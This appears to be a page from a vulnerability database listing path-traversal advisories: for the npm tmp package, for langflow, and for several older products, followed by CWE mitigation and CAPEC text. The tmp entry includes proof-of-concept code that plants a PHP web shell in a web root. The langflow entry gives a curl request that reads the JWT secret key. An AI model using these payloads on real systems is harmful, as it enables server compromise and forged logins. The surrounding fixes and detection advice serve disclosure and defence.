/safe/tmp/dir\n  \n  cleanup();\n});\n```\n\n**Advanced Multi-Vector Attack:**\n```javascript\nconst maliciousOpts = {\n  tmpdir: \u0027/app/safe-tmp\u0027,\n  dir: \u0027../../../tmp\u0027,           // Escape base\n  prefix: \u0027../sensitive-area/\u0027,   // Further traversal\n  postfix: \u0027malicious.config\u0027     // Controlled filename\n};\n\ntmp.file(maliciousOpts, (err, filepath, fd, cleanup) =\u003e {\n  // Results in file creation at: /tmp/sensitive-area/malicious.config\n  console.log(\u0027Final malicious path:\u0027, filepath);\n  cleanup();\n});\n```\n\n**Real-World Attack Simulation:**\n```javascript\n// Simulate web API that accepts user file prefix\nfunction createUserTempFile(userPrefix, content) {\n  return new Promise((resolve, reject) =\u003e {\n    tmp.file({ prefix: userPrefix }, (err, path, fd, cleanup) =\u003e {\n      if (err) return reject(err);\n      \n      fs.writeSync(fd, content);\n      console.log(\u0027User file created at:\u0027, path);\n      resolve({ path, cleanup });\n    });\n  });\n}\n\n// Attacker input\nconst attackerPrefix = \u0027../../../var/www/html/backdoor\u0027;\ncreateUserTempFile(attackerPrefix, \u0027\u003c?php system($_GET[\"cmd\"]); ?\u003e\u0027);\n// Creates PHP backdoor in web root instead of temp directory\n```\n\n### Impact\n\n**Arbitrary File Creation:**\n- Files created outside intended temporary directories\n- Attacker control over file placement location\n- Potential to overwrite existing files (depending on creation flags)\n- Cross-platform exploitation capability\n\n**Attack Scenarios:**\n\n**1. Web Application Configuration Poisoning:**\n- User uploads file with malicious prefix/postfix\n- tmp creates \"temporary\" file in application configuration directory\n- Malicious configuration loaded on next application restart\n\n**2. Cache Poisoning:**\n- Application caches user content using tmp\n- Attacker escapes to cache directory of different user/tenant\n- Poisoned cache serves malicious content to other users\n\n**3. Build Pipeline Compromise:**\n- CI/CD system processes user PRs with tmp usage\n- Malicious prefix escapes to build output directories\n- Compromised build artifacts deployed to production\n\n**4. Container Escape Attempt:**\n- Containerized application uses tmp with user input\n- Attacker attempts to escape container temp restrictions\n- Files created in host-mapped volumes or sensitive container areas\n\n**5. Multi-Tenant Service Bypass:**\n- SaaS platform isolates tenants using separate tmp directories\n- Tenant A escapes their tmp space to tenant B\u0027s area\n- Cross-tenant data access and potential privilege escalation\n\n**Business Impact:**\n- **Data Integrity:** Unauthorized file placement can corrupt application state\n- **Service Disruption:** Files in wrong locations may break application functionality  \n- **Security Bypass:** Escape temporary isolation boundaries\n- **Compliance Violations:** Files containing sensitive data placed in uncontrolled locations\n\n### Affected Products\n\n- **Ecosystem:** npm\n- **Package name:** tmp\n- **Repository:** github.com/raszi/node-tmp\n- **Affected versions:** All versions with vulnerable path construction logic\n- **Patched versions:** None currently available\n\n**Component Impact:**\n- `tmp.file()` function - vulnerable to prefix/postfix/dir traversal\n- `tmp.dir()` function - vulnerable to same parameter manipulation  \n- `tmp.tmpName()` function - if using affected path construction\n\n**Severity:** High  \n**CVSS v3.1:** 8.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L)\n\n**CWE Classification:**\n- CWE-22: Improper Limitation of a Pathname to a Restricted Directory (Path Traversal)\n\n### Remediation\n\n**Input Validation and Sanitization:**\n\n1. **Sanitize prefix/postfix:**\n```javascript\nfunction sanitizePrefix(prefix) {\n  if (!prefix) return \u0027\u0027;\n  // Remove path separators and traversal sequences\n  return path.basename(String(prefix)).replace(/[\\.\\/\\\\]/g, \u0027-\u0027);\n}\n\nfunction sanitizePostfix(postfix) {\n  if (!postfix) return \u0027\u0027;\n  // Allow only safe characters\n  return String(postfix).replace(/[^A-Za-z0-9._-]/g, \u0027\u0027);\n}\n```\n\n2. **Validate dir parameter:**\n```javascript\nfunction validateDir(dir, baseDir) {\n  if (!dir) return \u0027\u0027;\n  \n  // Reject absolute paths\n  if (path.isAbsolute(dir)) {\n    throw new Error(\u0027Absolute paths not allowed for dir option\u0027);\n  }\n  \n  // Resolve and check containment\n  const resolved = path.resolve(baseDir, dir);\n  const relative = path.relative(baseDir, resolved);\n  \n  if (relative.startsWith(\u0027..\u0027) || path.isAbsolute(relative)) {\n    throw new Error(\u0027Dir option escapes base directory\u0027);\n  }\n  \n  return dir;\n}\n```\n\n3. **Post-construction path validation:**\n```javascript\nfunction validateFinalPath(finalPath, baseDir) {\n  const resolved = path.resolve(finalPath);\n  const relative = path.relative(path.resolve(baseDir), resolved);\n  \n  if (relative.startsWith(\u0027..\u0027) || path.isAbsolute(relative)) {\n    throw new Error(\u0027Generated path escapes temporary directory\u0027);\n  }\n  \n  return resolved;\n}\n```\n\n**Secure Implementation Pattern:**\n```javascript\nfunction createTempFile(options) {\n  const opts = { ...options };\n  \n  // Sanitize inputs\n  opts.prefix = sanitizePrefix(opts.prefix);\n  opts.postfix = sanitizePostfix(opts.postfix);\n  opts.dir = validateDir(opts.dir, opts.tmpdir);\n  \n  // Create with sanitized options\n  return tmp.file(opts, (err, path, fd, cleanup) =\u003e {\n    if (err) return callback(err);\n    \n    // Validate final path\n    try {\n      validateFinalPath(path, opts.tmpdir);\n    } catch (validationErr) {\n      cleanup();\n      return callback(validationErr);\n    }\n    \n    callback(null, path, fd, cleanup);\n  });\n}\n```\n\n### Workarounds\n\n**For Application Developers:**\n\n1. **Input Sanitization:**\n```javascript\n// Sanitize before passing to tmp\nfunction safeTmpFile(userOptions) {\n  const safeOpts = {\n    ...userOptions,\n    prefix: userOptions.prefix ? path.basename(userOptions.prefix) : undefined,\n    postfix: userOptions.postfix ? userOptions.postfix.replace(/[^A-Za-z0-9._-]/g, \u0027\u0027) : undefined,\n    dir: undefined // Don\u0027t allow user-controlled dir\n  };\n  \n  return tmp.file(safeOpts);\n}\n```\n\n2. **Path Validation:**\n```javascript\nfunction validateTmpPath(tmpPath, expectedBase) {\n  const relativePath = path.relative(expectedBase, tmpPath);\n  if (relativePath.startsWith(\u0027..\u0027) || path.isAbsolute(relativePath)) {\n    throw new Error(\u0027Temporary file path escaped base directory\u0027);\n  }\n  return tmpPath;\n}\n```\n\n3. **Restricted Usage:**\n```javascript\n// Only use tmp with known-safe, literal values\ntmp.file({ prefix: \u0027app-temp-\u0027, postfix: \u0027.tmp\u0027 }, callback);\n// Never: tmp.file({ prefix: userInput }, callback);\n```\n\n**For Security Teams:**\n\n1. **Code Review Patterns:**\n```bash\n# Search for dangerous tmp usage\ngrep -r \"tmp\\.file.*prefix.*req\\|tmp\\.file.*postfix.*req\" .\ngrep -r \"tmp\\.dir.*opts\\|tmp\\.file.*opts\" .\n```\n\n2. **Runtime Monitoring:**\n```javascript\n// Monitor for files created outside expected temp areas\nconst originalFile = tmp.file;\ntmp.file = function(options, callback) {\n  return originalFile(options, (err, path, fd, cleanup) =\u003e {\n    if (!err \u0026\u0026 options.tmpdir) {\n      const relative = require(\u0027path\u0027).relative(options.tmpdir, path);\n      if (relative.startsWith(\u0027..\u0027)) {\n        console.warn(\u0027Path traversal detected:\u0027, path);\n      }\n    }\n    return callback(err, path, fd, cleanup);\n  });\n};\n```\n\n### Detection and Monitoring\n\n**Static Analysis:**\n- Scan for tmp usage with user-controlled input\n- Identify unsanitized parameter passing to tmp functions\n- Review file creation patterns in temporary directories\n\n**Runtime Detection:**\n```javascript\n// Log suspicious tmp operations\nfunction monitorTmpUsage() {\n  const originalTmpFile = require(\u0027tmp\u0027).file;\n  \n  require(\u0027tmp\u0027).file = function(options = {}, callback) {\n    // Check for suspicious patterns\n    const suspicious = [\n      options.prefix \u0026\u0026 options.prefix.includes(\u0027..\u0027),\n      options.postfix \u0026\u0026 options.postfix.includes(\u0027..\u0027),  \n      options.dir \u0026\u0026 path.isAbsolute(options.dir)\n    ].some(Boolean);\n    \n    if (suspicious) {\n      console.warn(\u0027Suspicious tmp usage detected:\u0027, options);\n    }\n    \n    return originalTmpFile.call(this, options, callback);\n  };\n}\n```\n\n**File System Monitoring:**\n```bash\n# Monitor file creation outside expected temp directories\ninotifywait -m -r --format \u0027%w%f %e\u0027 /tmp /var/tmp | while read file event; do\n  if [[ \"$event\" == *\"CREATE\"* \u0026\u0026 \"$file\" != /tmp/tmp-* ]]; then\n    echo \"Unexpected file creation: $file\"\n  fi\ndone\n```\n### Acknowledgements\n\n**Reported by**: Mapta / BugBunny_ai",
  "id": "GHSA-ph9p-34f9-6g65",
  "modified": "2026-06-12T19:25:33Z",
  "published": "2026-05-27T00:34:06Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/raszi/node-tmp/security/advisories/GHSA-ph9p-34f9-6g65"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44705"
    },
    {
      "type": "WEB",
      "url": "https://github.com/raszi/node-tmp/commit/efa4a06f24374797ae32ab2b6ae39b7a611ae429"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/raszi/node-tmp"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "tmp has Path Traversal via unsanitized prefix/postfix that enables directory escape"
}

GHSA-PH9W-R52H-28P7

Vulnerability from github – Published: 2026-03-20 20:56 – Updated: 2026-06-06 00:56
VLAI
Summary
langflow: /profile_pictures/{folder_name}/{file_name} endpoint file reading
Details

Vulnerability

Path Traversal in GET /api/v1/files/profile_pictures/{folder_name}/{file_name}

The download_profile_picture function in src/backend/base/langflow/api/v1/files.py constructed file paths by directly concatenating the user-supplied folder_name and file_name path parameters without sanitization or boundary validation. The resulting path was passed to the filesystem without verifying it remained within the intended directory.

An unauthenticated attacker could supply traversal sequences (e.g. ../secret_key) to navigate outside the profile pictures directory and read arbitrary files on the server filesystem.

This exposed the server to:

  • Sensitive file disclosure — any file readable by the application process could be retrieved
  • Secret key exfiltration — the application's secret_key file, used as JWT signing material, could be read directly via ../secret_key
  • Authentication bypass — with the secret_key in hand, an attacker can forge valid JWT tokens and authenticate as any user, including administrators

Proof of Concept

curl --path-as-is 'http://<host>:7860/api/v1/files/profile_pictures/../secret_key'

A successful response returns the raw secret key value used to sign all JWT authentication tokens in the instance.


Fix

The fix was applied in src/backend/base/langflow/api/v1/files.py (PR #12263).

Two layers of defense were introduced:

1. Typed path validation — the folder_name and file_name parameters were changed from plain str to ValidatedFolderName and ValidatedFileName annotated types that reject traversal characters at the FastAPI input layer.

2. Path containment checkPath.name is used to strip any directory component from the inputs before path construction, and Path.is_relative_to() verifies the resolved path remains within the allowed base directory. This replaces the previous startswith() check, which was susceptible to prefix-ambiguity bugs.

 @router.get("/profile_pictures/{folder_name}/{file_name}")
 async def download_profile_picture(
-    folder_name: str,
-    file_name: str,
+    folder_name: ValidatedFolderName,
+    file_name: ValidatedFileName,
     settings_service: Annotated[SettingsService, Depends(get_settings_service)],
 ):
-        file_path = (config_path / "profile_pictures" / folder_name / file_name).resolve()
+        safe_folder = Path(folder_name).name
+        safe_file = Path(file_name).name
+        file_path = (config_path / "profile_pictures" / safe_folder / safe_file).resolve()

         allowed_base = (config_path / "profile_pictures").resolve()
-        if not str(file_path).startswith(str(allowed_base)):
-            raise HTTPException(status_code=404, detail="Profile picture not found")
+        if not file_path.is_relative_to(allowed_base):
+            raise HTTPException(status_code=404, detail="Profile picture not found")

Workarounds

If you cannot upgrade immediately, restrict network access to the /api/v1/files/profile_pictures/ endpoint at the reverse-proxy or firewall level. Rotating the secret_key is strongly recommended if exposure cannot be ruled out.


Acknowledgements

We thank the security researcher who responsibly disclosed this vulnerability.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "langflow"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.7.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33497"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-20T20:56:14Z",
    "nvd_published_at": "2026-03-24T14:16:30Z",
    "severity": "HIGH"
  },
  "details": "## Vulnerability\n\n### Path Traversal in `GET /api/v1/files/profile_pictures/{folder_name}/{file_name}`\n\nThe `download_profile_picture` function in `src/backend/base/langflow/api/v1/files.py` constructed file paths by directly concatenating the user-supplied `folder_name` and `file_name` path parameters without sanitization or boundary validation. The resulting path was passed to the filesystem without verifying it remained within the intended directory.\n\nAn unauthenticated attacker could supply traversal sequences (e.g. `../secret_key`) to navigate outside the profile pictures directory and read arbitrary files on the server filesystem.\n\nThis exposed the server to:\n\n- **Sensitive file disclosure** \u2014 any file readable by the application process could be retrieved\n- **Secret key exfiltration** \u2014 the application\u0027s `secret_key` file, used as JWT signing material, could be read directly via `../secret_key`\n- **Authentication bypass** \u2014 with the `secret_key` in hand, an attacker can forge valid JWT tokens and authenticate as any user, including administrators\n\n---\n\n## Proof of Concept\n\n```bash\ncurl --path-as-is \u0027http://\u003chost\u003e:7860/api/v1/files/profile_pictures/../secret_key\u0027\n```\n\nA successful response returns the raw secret key value used to sign all JWT authentication tokens in the instance.\n\n---\n\n## Fix\n\nThe fix was applied in `src/backend/base/langflow/api/v1/files.py` (PR #12263).\n\nTwo layers of defense were introduced:\n\n**1. Typed path validation** \u2014 the `folder_name` and `file_name` parameters were changed from plain `str` to `ValidatedFolderName` and `ValidatedFileName` annotated types that reject traversal characters at the FastAPI input layer.\n\n**2. Path containment check** \u2014 `Path.name` is used to strip any directory component from the inputs before path construction, and `Path.is_relative_to()` verifies the resolved path remains within the allowed base directory. This replaces the previous `startswith()` check, which was susceptible to prefix-ambiguity bugs.\n\n```diff\n @router.get(\"/profile_pictures/{folder_name}/{file_name}\")\n async def download_profile_picture(\n-    folder_name: str,\n-    file_name: str,\n+    folder_name: ValidatedFolderName,\n+    file_name: ValidatedFileName,\n     settings_service: Annotated[SettingsService, Depends(get_settings_service)],\n ):\n```\n\n```diff\n-        file_path = (config_path / \"profile_pictures\" / folder_name / file_name).resolve()\n+        safe_folder = Path(folder_name).name\n+        safe_file = Path(file_name).name\n+        file_path = (config_path / \"profile_pictures\" / safe_folder / safe_file).resolve()\n\n         allowed_base = (config_path / \"profile_pictures\").resolve()\n-        if not str(file_path).startswith(str(allowed_base)):\n-            raise HTTPException(status_code=404, detail=\"Profile picture not found\")\n+        if not file_path.is_relative_to(allowed_base):\n+            raise HTTPException(status_code=404, detail=\"Profile picture not found\")\n```\n\n---\n\n## Workarounds\n\nIf you cannot upgrade immediately, restrict network access to the `/api/v1/files/profile_pictures/` endpoint at the reverse-proxy or firewall level. Rotating the `secret_key` is strongly recommended if exposure cannot be ruled out.\n\n---\n\n## Acknowledgements\n\nWe thank the security researcher who responsibly disclosed this vulnerability.\n\n- [r00tuser111](https://github.com/r00tuser111)",
  "id": "GHSA-ph9w-r52h-28p7",
  "modified": "2026-06-06T00:56:31Z",
  "published": "2026-03-20T20:56:14Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/langflow-ai/langflow/security/advisories/GHSA-ph9w-r52h-28p7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33497"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/langflow-ai/langflow"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/langflow/PYSEC-2026-81.yaml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "langflow: /profile_pictures/{folder_name}/{file_name} endpoint file reading"
}

GHSA-PHC4-W94P-HGJH

Vulnerability from github – Published: 2022-07-12 00:00 – Updated: 2022-07-16 00:00
VLAI
Details

The Rexians/rex-web repository through 2022-06-05 on GitHub allows absolute path traversal because the Flask send_file function is used unsafely.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-31568"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-07-11T01:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "The Rexians/rex-web repository through 2022-06-05 on GitHub allows absolute path traversal because the Flask send_file function is used unsafely.",
  "id": "GHSA-phc4-w94p-hgjh",
  "modified": "2022-07-16T00:00:28Z",
  "published": "2022-07-12T00:00:58Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-31568"
    },
    {
      "type": "WEB",
      "url": "https://github.com/github/securitylab/issues/669#issuecomment-1117265726"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-PHCH-32GG-3JGX

Vulnerability from github – Published: 2022-05-01 23:49 – Updated: 2022-05-01 23:49
VLAI
Details

Directory traversal vulnerability in index.php in Smeego 1.0, when magic_quotes_gpc is disabled, allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the lang cookie.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2008-2352"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2008-05-20T17:20:00Z",
    "severity": "MODERATE"
  },
  "details": "Directory traversal vulnerability in index.php in Smeego 1.0, when magic_quotes_gpc is disabled, allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the lang cookie.",
  "id": "GHSA-phch-32gg-3jgx",
  "modified": "2022-05-01T23:49:09Z",
  "published": "2022-05-01T23:49:09Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2008-2352"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/42498"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/5640"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/30138"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/archive/1/492227/100/0/threaded"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/29264"
    },
    {
      "type": "WEB",
      "url": "http://www.vupen.com/english/advisories/2008/1563/references"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-PHCX-V584-666V

Vulnerability from github – Published: 2022-05-14 01:36 – Updated: 2022-05-14 01:36
VLAI
Details

Directory traversal vulnerability in Kaseya Virtual System Administrator (VSA) 7.x before 7.0.0.29, 8.x before 8.0.0.18, 9.0 before 9.0.0.14, and 9.1 before 9.1.0.4 allows remote authenticated users to read arbitrary files via a crafted HTTP request.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2015-2862"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2015-07-20T23:59:00Z",
    "severity": "MODERATE"
  },
  "details": "Directory traversal vulnerability in Kaseya Virtual System Administrator (VSA) 7.x before 7.0.0.29, 8.x before 8.0.0.18, 9.0 before 9.0.0.14, and 9.1 before 9.1.0.4 allows remote authenticated users to read arbitrary files via a crafted HTTP request.",
  "id": "GHSA-phcx-v584-666v",
  "modified": "2022-05-14T01:36:39Z",
  "published": "2022-05-14T01:36:39Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2015-2862"
    },
    {
      "type": "WEB",
      "url": "http://www.kb.cert.org/vuls/id/919604"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-PHFP-96HG-9GC9

Vulnerability from github – Published: 2022-05-17 19:57 – Updated: 2024-04-03 23:58
VLAI
Details

The wp-support-plus-responsive-ticket-system plugin before 4.2 for WordPress has directory traversal.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2014-10390"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-08-22T19:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "The wp-support-plus-responsive-ticket-system plugin before 4.2 for WordPress has directory traversal.",
  "id": "GHSA-phfp-96hg-9gc9",
  "modified": "2024-04-03T23:58:53Z",
  "published": "2022-05-17T19:57:01Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2014-10390"
    },
    {
      "type": "WEB",
      "url": "https://wordpress.org/plugins/wp-support-plus-responsive-ticket-system/#developers"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation MIT-5.1
Implementation

Strategy: Input Validation

  • Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
  • When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
  • Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
  • When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
  • Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation MIT-15
Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Mitigation MIT-20.1
Implementation

Strategy: Input Validation

  • Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
  • Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes:
  • realpath() in C
  • getCanonicalPath() in Java
  • GetFullPath() in ASP.NET
  • realpath() or abs_path() in Perl
  • realpath() in PHP
Mitigation MIT-4
Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].

Mitigation MIT-29
Operation

Strategy: Firewall

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].

Mitigation MIT-17
Architecture and Design Operation

Strategy: Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Mitigation MIT-21.1
Architecture and Design

Strategy: Enforcement by Conversion

  • When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
  • For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
Mitigation MIT-22
Architecture and Design Operation

Strategy: Sandbox or Jail

  • Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
  • OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
  • This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
  • Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-34
Architecture and Design Operation

Strategy: Attack Surface Reduction

  • Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.
  • This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
Mitigation MIT-39
Implementation
  • Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
  • If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
  • Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
  • In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
Mitigation MIT-16
Operation Implementation

Strategy: Environment Hardening

When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

CAPEC-126: Path Traversal

An adversary uses path manipulation methods to exploit insufficient input validation of a target to obtain access to data that should be not be retrievable by ordinary well-formed requests. A typical variety of this attack involves specifying a path to a desired file together with dot-dot-slash characters, resulting in the file access API or function traversing out of the intended directory structure and into the root file system. By replacing or modifying the expected path information the access function or API retrieves the file desired by the attacker. These attacks either involve the attacker providing a complete path to a targeted file or using control characters (e.g. path separators (/ or \) and/or dots (.)) to reach desired directories or files.

CAPEC-64: Using Slashes and URL Encoding Combined to Bypass Validation Logic

This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple ways of encoding a URL and abuse the interpretation of the URL. A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.

CAPEC-76: Manipulating Web Input to File System Calls

An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.

CAPEC-78: Using Escaped Slashes in Alternate Encoding

This attack targets the use of the backslash in alternate encoding. An adversary can provide a backslash as a leading character and causes a parser to believe that the next character is special. This is called an escape. By using that trick, the adversary tries to exploit alternate ways to encode the same character which leads to filter problems and opens avenues to attack.

CAPEC-79: Using Slashes in Alternate Encoding

This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.